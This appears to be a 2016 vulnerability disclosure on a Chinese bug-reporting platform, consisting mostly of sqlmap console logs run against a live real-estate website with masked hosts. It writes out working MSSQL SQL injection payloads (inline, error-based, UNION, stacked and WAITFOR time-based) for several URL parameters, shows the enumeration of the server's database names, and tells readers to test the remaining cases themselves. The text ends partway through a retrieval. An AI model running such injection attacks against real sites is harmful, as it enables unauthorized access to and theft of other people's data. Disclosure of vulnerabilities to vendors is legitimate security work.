2016-01-02: 细节已通知厂商并且等待厂商处理中 2016-01-08: 厂商已经确认,细节仅向厂商公开 2016-01-18: 细节向核心白帽子及相关领域专家公开 2016-01-28: 细节向普通白帽子公开 2016-02-07: 细节向实习白帽子公开 2016-02-20: 细节向公众公开
RT
元旦没妹子只好在家挖妹子 汗~~ 提交六发案例 其余自测...http://**.**.**.**/list.aspx?stid=5882http://**.**.**.**/special/2013/sbjszqh/list.aspx?stid=5446&pageid=2http://**.**.**.**/List.aspx?stid=5781http://**.**.**.**/quxian/List.aspx?AreaInfoID=119http://**.**.**.**/pinggu/result.aspx?id=1051 --tables -D 91haofanghttp://**.**.**.**/list.aspx?stid=6041
案例6.C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/list.aspx?stid=6041 _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20150901}|_ -| . | | | .'| . ||___|_ |_|_|_|_|__,| _| |_| |_| http://**.**.**.**[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 14:04:07[14:04:07] [INFO] testing connection to the target URL[14:04:07] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDSdo you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N][14:04:08] [INFO] testing if the target URL is stable[14:04:08] [INFO] target URL is stable[14:04:08] [INFO] testing if GET parameter 'stid' is dynamic[14:04:09] [INFO] confirming that GET parameter 'stid' is dynamic[14:04:09] [INFO] GET parameter 'stid' is dynamic[14:04:09] [WARNING] heuristic (basic) test shows that GET parameter 'stid' might not be injectable[14:04:09] [INFO] testing for SQL injection on GET parameter 'stid'[14:04:10] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[14:04:10] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'[14:04:10] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'[14:04:11] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'[14:04:11] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'[14:04:11] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'[14:04:12] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'[14:04:12] [INFO] testing 'MySQL inline queries'[14:04:12] [INFO] testing 'PostgreSQL inline queries'[14:04:12] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'[14:04:12] [INFO] GET parameter 'stid' is 'Microsoft SQL Server/Sybase inline queries' injectableit looks like the back-end DBMS is '['Microsoft SQL Server', 'Sybase']'. Do youwant to skip test payloads specific for other DBMSes? [Y/n]for the remaining tests, do you want to include all tests for '['Microsoft SQL Server', 'Sybase']' extending provided level (1) and risk (1) values? [Y/n][14:04:13] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'[14:04:13] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique foundGET parameter 'stid' is vulnerable. Do you want to keep testing the others (if any)? [y/N]sqlmap identified the following injection point(s) with a total of 64 HTTP(s) requests:---Parameter: stid (GET) Type: inline query Title: Microsoft SQL Server/Sybase inline queries Payload: stid=(SELECT CHAR(113)+CHAR(98)+CHAR(112)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (3618=3618) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(107)+CHAR(98)+CHAR(113))---[14:04:24] [INFO] testing Microsoft SQL Server[14:04:25] [INFO] confirming Microsoft SQL Server[14:04:25] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windowsweb application technology: ASP.NET 0back-end DBMS: Microsoft SQL Server 2008[14:04:25] [WARNING] HTTP error codes detected during run:500 (Internal Server Error) - 14 times[14:04:25] [INFO] fetched data logged to text files under 'C:\Users\Administrator\.sqlmap\output\**.**.**.**'[*] shutting down at 14:04:25C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/list.aspx?stid=6041 --current-db _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20150901}|_ -| . | | | .'| . ||___|_ |_|_|_|_|__,| _| |_| |_| http://**.**.**.**[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 14:04:32[14:04:32] [INFO] resuming back-end DBMS 'microsoft sql server'[14:04:32] [INFO] testing connection to the target URL[14:04:32] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDSdo you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N]sqlmap resumed the following injection point(s) from stored session:---Parameter: stid (GET) Type: inline query Title: Microsoft SQL Server/Sybase inline queries Payload: stid=(SELECT CHAR(113)+CHAR(98)+CHAR(112)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (3618=3618) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(107)+CHAR(98)+CHAR(113))---[14:04:33] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windowsweb application technology: ASP.NET 0back-end DBMS: Microsoft SQL Server 2008[14:04:33] [INFO] fetching current databasecurrent database: None[14:04:33] [INFO] fetched data logged to text files under 'C:\Users\Administrator\.sqlmap\output\**.**.**.**'[*] shutting down at 14:04:33C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/list.aspx?stid=6041 --dbs _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20150901}|_ -| . | | | .'| . ||___|_ |_|_|_|_|__,| _| |_| |_| http://**.**.**.**[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 14:04:40[14:04:40] [INFO] resuming back-end DBMS 'microsoft sql server'[14:04:40] [INFO] testing connection to the target URL[14:04:40] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDSdo you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N]sqlmap resumed the following injection point(s) from stored session:---Parameter: stid (GET) Type: inline query Title: Microsoft SQL Server/Sybase inline queries Payload: stid=(SELECT CHAR(113)+CHAR(98)+CHAR(112)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (3618=3618) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(107)+CHAR(98)+CHAR(113))---[14:04:41] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windowsweb application technology: ASP.NET 0back-end DBMS: Microsoft SQL Server 2008[14:04:41] [INFO] fetching database names[14:04:41] [WARNING] the SQL query provided does not return any output[14:04:41] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'[14:04:41] [INFO] retrieved: SDSW20_News[14:04:42] [INFO] retrieved: master[14:04:42] [INFO] retrieved: tempdb[14:04:42] [INFO] retrieved: model[14:04:42] [INFO] retrieved: msdb[14:04:42] [INFO] retrieved: ReportServer[14:04:42] [INFO] retrieved: ReportServerTempDB[14:04:42] [INFO] retrieved: SDSW20_News[14:04:43] [INFO] retrieved: Man_adv[14:04:43] [INFO] retrieved: SDSW20_Main[14:04:43] [INFO] retrieved: WebFiles[14:04:43] [INFO] retrieved: NewsAPP[14:04:43] [INFO] retrieved: 91haofang[14:04:43] [INFO] retrieved:available databases [12]:[*] 91haofang[*] Man_adv[*] master[*] model[*] msdb[*] NewsAPP[*] ReportServer[*] ReportServerTempDB[*] SDSW20_Main[*] SDSW20_News[*] tempdb[*] WebFiles[14:04:43] [WARNING] HTTP error codes detected during run:500 (Internal Server Error) - 14 times[14:04:43] [INFO] fetched data logged to text files under 'C:\Users\Administrator\.sqlmap\output\**.**.**.**'[*] shutting down at 14:04:43C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/list.aspx?stid=6041 --current-db _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20150901}|_ -| . | | | .'| . ||___|_ |_|_|_|_|__,| _| |_| |_| http://**.**.**.**[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 14:08:44[14:08:44] [INFO] resuming back-end DBMS 'microsoft sql server'[14:08:44] [INFO] testing connection to the target URL[14:08:44] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDSdo you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N]sqlmap resumed the following injection point(s) from stored session:---Parameter: stid (GET) Type: inline query Title: Microsoft SQL Server/Sybase inline queries Payload: stid=(SELECT CHAR(113)+CHAR(98)+CHAR(112)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (3618=3618) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(107)+CHAR(98)+CHAR(113))---[14:08:45] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windowsweb application technology: ASP.NET 0back-end DBMS: Microsoft SQL Server 2008[14:08:45] [INFO] fetching current databasecurrent database: None[14:08:45] [INFO] fetched data logged to text files under 'C:\Users\Administrator\.sqlmap\output\**.**.**.**'[*] shutting down at 14:08:45C:\Python27\sqlmap>案列5.C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/pinggu/result.aspx?id=1051 --dbs _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20150901}|_ -| . | | | .'| . ||___|_ |_|_|_|_|__,| _| |_| |_| http://**.**.**.**[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 14:06:14[14:06:14] [INFO] resuming back-end DBMS 'microsoft sql server'[14:06:14] [INFO] testing connection to the target URL[14:06:14] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDSdo you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N]sqlmap resumed the following injection point(s) from stored session:---Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1051 AND 3295=3295 Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: id=1051 AND 4567=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (4567=4567) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(112)+CHAR(118)+CHAR(113))) Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries (comment) Payload: id=1051;WAITFOR DELAY '0:0:5'-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: id=1051 WAITFOR DELAY '0:0:5'---[14:06:15] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2008 R2 or 7web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727back-end DBMS: Microsoft SQL Server 2008[14:06:15] [INFO] fetching database names[14:06:18] [WARNING] the SQL query provided does not return any output[14:06:18] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'[14:06:18] [INFO] fetching number of databases[14:06:19] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval[14:06:19] [INFO] retrieved:[14:06:19] [WARNING] time-based comparison requires larger statistical model, please wait..........................[14:06:22] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)[14:06:22] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors[14:06:22] [ERROR] unable to retrieve the number of databases[14:06:22] [INFO] retrieved: 91haofang[14:06:22] [INFO] retrieved: master[14:06:22] [INFO] retrieved: tempdb[14:06:22] [INFO] retrieved: model[14:06:22] [INFO] retrieved: msdb[14:06:22] [INFO] retrieved: ReportServer[14:06:22] [INFO] retrieved: ReportServerTempDB[14:06:23] [INFO] retrieved: SDSW20_Main[14:06:23] [INFO] retrieved: SDSW20_HR[14:06:23] [INFO] retrieved: jiaju[14:06:23] [INFO] retrieved: cms_newair[14:06:23] [INFO] retrieved: SD_QIYE[14:06:23] [INFO] retrieved: SDSW20_Video[14:06:23] [INFO] retrieved: yycar[14:06:23] [INFO] retrieved: SDSW20_Digg[14:06:23] [INFO] retrieved: SDSW20_Rank[14:06:24] [INFO] retrieved: SDSW20_Ask[14:06:24] [INFO] retrieved: adv_new[14:06:24] [INFO] retrieved: SDSW20_Other[14:06:24] [INFO] retrieved: 91haofang[14:06:24] [INFO] retrieved: SDSW20_Ads[14:06:24] [INFO] retrieved: SDSW20_Video_old[14:06:24] [INFO] retrieved: bbs[14:06:24] [INFO] retrieved:available databases [22]:[*] 91haofang[*] adv_new[*] bbs[*] cms_newair[*] jiaju[*] master[*] model[*] msdb[*] ReportServer[*] ReportServerTempDB[*] SD_QIYE[*] SDSW20_Ads[*] SDSW20_Ask[*] SDSW20_Digg[*] SDSW20_HR[*] SDSW20_Main[*] SDSW20_Other[*] SDSW20_Rank[*] SDSW20_Video[*] SDSW20_Video_old[*] tempdb[*] yycar[14:06:24] [WARNING] HTTP error codes detected during run:500 (Internal Server Error) - 24 times[14:06:24] [INFO] fetched data logged to text files under 'C:\Users\Administrator\.sqlmap\output\**.**.**.**'[*] shutting down at 14:06:24C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/pinggu/result.aspx?id=1051 --current-db _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20150901}|_ -| . | | | .'| . ||___|_ |_|_|_|_|__,| _| |_| |_| http://**.**.**.**[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 14:09:57[14:09:57] [INFO] resuming back-end DBMS 'microsoft sql server'[14:09:57] [INFO] testing connection to the target URL[14:09:57] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDSdo you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N]sqlmap resumed the following injection point(s) from stored session:---Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1051 AND 3295=3295 Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: id=1051 AND 4567=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (4567=4567) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(112)+CHAR(118)+CHAR(113))) Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries (comment) Payload: id=1051;WAITFOR DELAY '0:0:5'-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: id=1051 WAITFOR DELAY '0:0:5'---[14:09:58] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2008 R2 or 7web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727back-end DBMS: Microsoft SQL Server 2008[14:09:58] [INFO] fetching current database[14:09:58] [INFO] retrieved: 91haofangcurrent database: '91haofang'[14:09:58] [WARNING] HTTP error codes detected during run:500 (Internal Server Error) - 1 times[14:09:58] [INFO] fetched data logged to text files under 'C:\Users\Administrator\.sqlmap\output\**.**.**.**'[*] shutting down at 14:09:58C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/pinggu/result.aspx?id=1案例4. Microsoft Windows [版本 6.3.9600](c) 2013 Microsoft Corporation。保留所有权利。C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/quxian/List.aspx?AreaInfoID=119 _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20150901}|_ -| . | | | .'| . ||___|_ |_|_|_|_|__,| _| |_| |_| http://**.**.**.**[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 14:07:03[14:07:03] [INFO] testing connection to the target URL[14:07:03] [WARNING] reflective value(s) found and filtering out[14:07:03] [INFO] testing if the target URL is stable[14:07:04] [INFO] target URL is stable[14:07:04] [INFO] testing if GET parameter 'AreaInfoID' is dynamic[14:07:04] [INFO] confirming that GET parameter 'AreaInfoID' is dynamic[14:07:05] [WARNING] GET parameter 'AreaInfoID' does not appear dynamic[14:07:05] [WARNING] heuristic (basic) test shows that GET parameter 'AreaInfoID' might not be injectable[14:07:05] [INFO] heuristic (XSS) test shows that GET parameter 'AreaInfoID' might be vulnerable to XSS attacks[14:07:05] [INFO] testing for SQL injection on GET parameter 'AreaInfoID'[14:07:05] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[14:07:07] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'[14:07:07] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'[14:07:09] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'[14:07:11] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'[14:07:11] [INFO] GET parameter 'AreaInfoID' is 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' injectableit looks like the back-end DBMS is '['Microsoft SQL Server', 'Sybase']'. Do youwant to skip test payloads specific for other DBMSes? [Y/n]for the remaining tests, do you want to include all tests for '['Microsoft SQL Server', 'Sybase']' extending provided level (1) and risk (1) values? [Y/n][14:07:12] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'[14:07:12] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found[14:07:17] [INFO] target URL appears to be UNION injectable with 1 columns[14:07:18] [INFO] GET parameter 'AreaInfoID' is 'Generic UNION query (NULL) - 1to 20 columns' injectableGET parameter 'AreaInfoID' is vulnerable. Do you want to keep testing the others (if any)? [y/N]sqlmap identified the following injection point(s) with a total of 51 HTTP(s) requests:---Parameter: AreaInfoID (GET) Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: AreaInfoID=119) AND 9428=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(106)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (9428=9428) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(106)+CHAR(106)+CHAR(113))) AND (8109=8109 Type: UNION query Title: Generic UNION query (NULL) - 1 column Payload: AreaInfoID=119) UNION ALL SELECT CHAR(113)+CHAR(107)+CHAR(106)+CHAR(112)+CHAR(113)+CHAR(70)+CHAR(86)+CHAR(117)+CHAR(100)+CHAR(86)+CHAR(85)+CHAR(90)+CHAR(118)+CHAR(88)+CHAR(104)+CHAR(113)+CHAR(107)+CHAR(106)+CHAR(106)+CHAR(113)-----[14:07:19] [INFO] testing Microsoft SQL Server[14:07:20] [INFO] confirming Microsoft SQL Server[14:07:21] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2008 R2 or 7web application technology: Microsoft IIS 7.5, ASP.NET, ASP.NET 2.0.50727back-end DBMS: Microsoft SQL Server 2008[14:07:21] [WARNING] HTTP error codes detected during run:500 (Internal Server Error) - 2 times[14:07:21] [INFO] fetched data logged to text files under 'C:\Users\Administrator\.sqlmap\output\**.**.**.**'[*] shutting down at 14:07:21C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/quxian/List.aspx?AreaInfoID=119 --dbs _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20150901}|_ -| . | | | .'| . ||___|_ |_|_|_|_|__,| _| |_| |_| http://**.**.**.**[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 14:07:24[14:07:24] [INFO] resuming back-end DBMS 'microsoft sql server'[14:07:25] [INFO] testing connection to the target URL[14:07:25] [WARNING] reflective value(s) found and filtering outsqlmap resumed the following injection point(s) from stored session:---Parameter: AreaInfoID (GET) Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: AreaInfoID=119) AND 9428=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(106)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (9428=9428) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(106)+CHAR(106)+CHAR(113))) AND (8109=8109 Type: UNION query Title: Generic UNION query (NULL) - 1 column Payload: AreaInfoID=119) UNION ALL SELECT CHAR(113)+CHAR(107)+CHAR(106)+CHAR(112)+CHAR(113)+CHAR(70)+CHAR(86)+CHAR(117)+CHAR(100)+CHAR(86)+CHAR(85)+CHAR(90)+CHAR(118)+CHAR(88)+CHAR(104)+CHAR(113)+CHAR(107)+CHAR(106)+CHAR(106)+CHAR(113)-----[14:07:25] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2008 R2 or 7web application technology: Microsoft IIS 7.5, ASP.NET, ASP.NET 2.0.50727back-end DBMS: Microsoft SQL Server 2008[14:07:25] [INFO] fetching database names[14:07:25] [INFO] the SQL query used returns 12 entries[14:07:26] [INFO] retrieved: 91haofang[14:07:26] [INFO] retrieved: Man_adv[14:07:27] [INFO] retrieved: master[14:07:27] [INFO] retrieved: model[14:07:27] [INFO] retrieved: msdb[14:07:28] [INFO] retrieved: NewsAPP[14:07:28] [INFO] retrieved: ReportServer[14:07:29] [INFO] retrieved: ReportServerTempDB[14:07:29] [INFO] retrieved: SDSW20_Main[14:07:30] [INFO] retrieved: SDSW20_News[14:07:30] [INFO] retrieved: tempdb[14:07:30] [INFO] retrieved: WebFilesavailable databases [12]:[*] 91haofang[*] Man_adv[*] master[*] model[*] msdb[*] NewsAPP[*] ReportServer[*] ReportServerTempDB[*] SDSW20_Main[*] SDSW20_News[*] tempdb[*] WebFiles[14:07:31] [INFO] fetched data logged to text files under 'C:\Users\Administrator\.sqlmap\output\**.**.**.**'[*] shutting down at 14:07:31C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/quxian/List.aspx?AreaInfoID=119 --current-db _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20150901}|_ -| . | | | .'| . ||___|_ |_|_|_|_|__,| _| |_| |_| http://**.**.**.**[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 14:09:26[14:09:27] [INFO] resuming back-end DBMS 'microsoft sql server'[14:09:27] [INFO] testing connection to the target URL[14:09:28] [WARNING] reflective value(s) found and filtering outsqlmap resumed the following injection point(s) from stored session:---Parameter: AreaInfoID (GET) Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: AreaInfoID=119) AND 9428=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(106)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (9428=9428) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(106)+CHAR(106)+CHAR(113))) AND (8109=8109 Type: UNION query Title: Generic UNION query (NULL) - 1 column Payload: AreaInfoID=119) UNION ALL SELECT CHAR(113)+CHAR(107)+CHAR(106)+CHAR(112)+CHAR(113)+CHAR(70)+CHAR(86)+CHAR(117)+CHAR(100)+CHAR(86)+CHAR(85)+CHAR(90)+CHAR(118)+CHAR(88)+CHAR(104)+CHAR(113)+CHAR(107)+CHAR(106)+CHAR(106)+CHAR(113)-----[14:09:28] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2008 R2 or 7web application technology: Microsoft IIS 7.5, ASP.NET, ASP.NET 2.0.50727back-end DBMS: Microsoft SQL Server 2008[14:09:28] [INFO] fetching current databasecurrent database: 'SDSW20_News'[14:09:28] [INFO] fetched data logged to text files under 'C:\Users\Administrator\.sqlmap\output\**.**.**.**'[*] shutting down at 14:09:28C:\Python27\sqlmap>案例3.C:\Python27\sqlmap>Sqlmap.py -u http://**.**.**.**/List.aspx?stid=5781 _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20150901}|_ -| . | | | .'| . ||___|_ |_|_|_|_|__,| _| |_| |_| http://**.**.**.**[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 14:17:05[14:17:06] [INFO] testing connection to the target URL[14:17:06] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDSdo you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N][14:17:07] [INFO] testing if the target URL is stable[14:17:07] [INFO] target URL is stable[14:17:07] [INFO] testing if GET parameter 'stid' is dynamic[14:17:08] [INFO] confirming that GET parameter 'stid' is dynamic[14:17:08] [WARNING] GET parameter 'stid' does not appear dynamic[14:17:08] [WARNING] heuristic (basic) test shows that GET parameter 'stid' might not be injectable[14:17:08] [INFO] testing for SQL injection on GET parameter 'stid'[14:17:08] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[14:17:08] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'[14:17:09] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'[14:17:09] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'[14:17:09] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'[14:17:10] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'[14:17:10] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'[14:17:10] [INFO] testing 'MySQL inline queries'[14:17:10] [INFO] testing 'PostgreSQL inline queries'[14:17:10] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'[14:17:10] [INFO] GET parameter 'stid' is 'Microsoft SQL Server/Sybase inline queries' injectableit looks like the back-end DBMS is '['Microsoft SQL Server', 'Sybase']'. Do youwant to skip test payloads specific for other DBMSes? [Y/n]for the remaining tests, do you want to include all tests for '['Microsoft SQL Server', 'Sybase']' extending provided level (1) and risk (1) values? [Y/n][14:17:12] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'[14:17:12] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found[14:17:12] [WARNING] reflective value(s) found and filtering out[14:17:13] [WARNING] parameter length constrainting mechanism detected (e.g. Suhosin patch). Potential problems in enumeration phase can be expectedGET parameter 'stid' is vulnerable. Do you want to keep testing the others (if any)? [y/N]sqlmap identified the following injection point(s) with a total of 64 HTTP(s) requests:---Parameter: stid (GET) Type: inline query Title: Microsoft SQL Server/Sybase inline queries Payload: stid=(SELECT CHAR(113)+CHAR(113)+CHAR(112)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (9289=9289) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(112)+CHAR(113))---[14:17:15] [INFO] testing Microsoft SQL Server[14:17:16] [INFO] confirming Microsoft SQL Server[14:17:16] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2003 or XPweb application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727back-end DBMS: Microsoft SQL Server 2008[14:17:16] [WARNING] HTTP error codes detected during run:403 (Forbidden) - 61 times, 500 (Internal Server Error) - 10 times[14:17:16] [INFO] fetched data logged to text files under 'C:\Users\Administrator\.sqlmap\output\**.**.**.**'[*] shutting down at 14:17:16C:\Python27\sqlmap>Sqlmap.py -u http://**.**.**.**/List.aspx?stid=5781 --dbs _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20150901}|_ -| . | | | .'| . ||___|_ |_|_|_|_|__,| _| |_| |_| http://**.**.**.**[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 14:17:20[14:17:21] [INFO] resuming back-end DBMS 'microsoft sql server'[14:17:21] [INFO] testing connection to the target URL[14:17:21] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDSdo you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N]sqlmap resumed the following injection point(s) from stored session:---Parameter: stid (GET) Type: inline query Title: Microsoft SQL Server/Sybase inline queries Payload: stid=(SELECT CHAR(113)+CHAR(113)+CHAR(112)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (9289=9289) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(112)+CHAR(113))---[14:17:22] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2003 or XPweb application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727back-end DBMS: Microsoft SQL Server 2008[14:17:22] [INFO] fetching database names[14:17:22] [WARNING] the SQL query provided does not return any output[14:17:22] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'[14:17:22] [INFO] retrieved: SDSW20_News[14:17:23] [INFO] retrieved: master[14:17:23] [INFO] retrieved: tempdb[14:17:23] [INFO] retrieved: model[14:17:24] [INFO] retrieved: msdb[14:17:24] [INFO] retrieved: ReportServer[14:17:24] [INFO] retrieved: ReportServerTempDB[14:17:24] [INFO] retrieved: 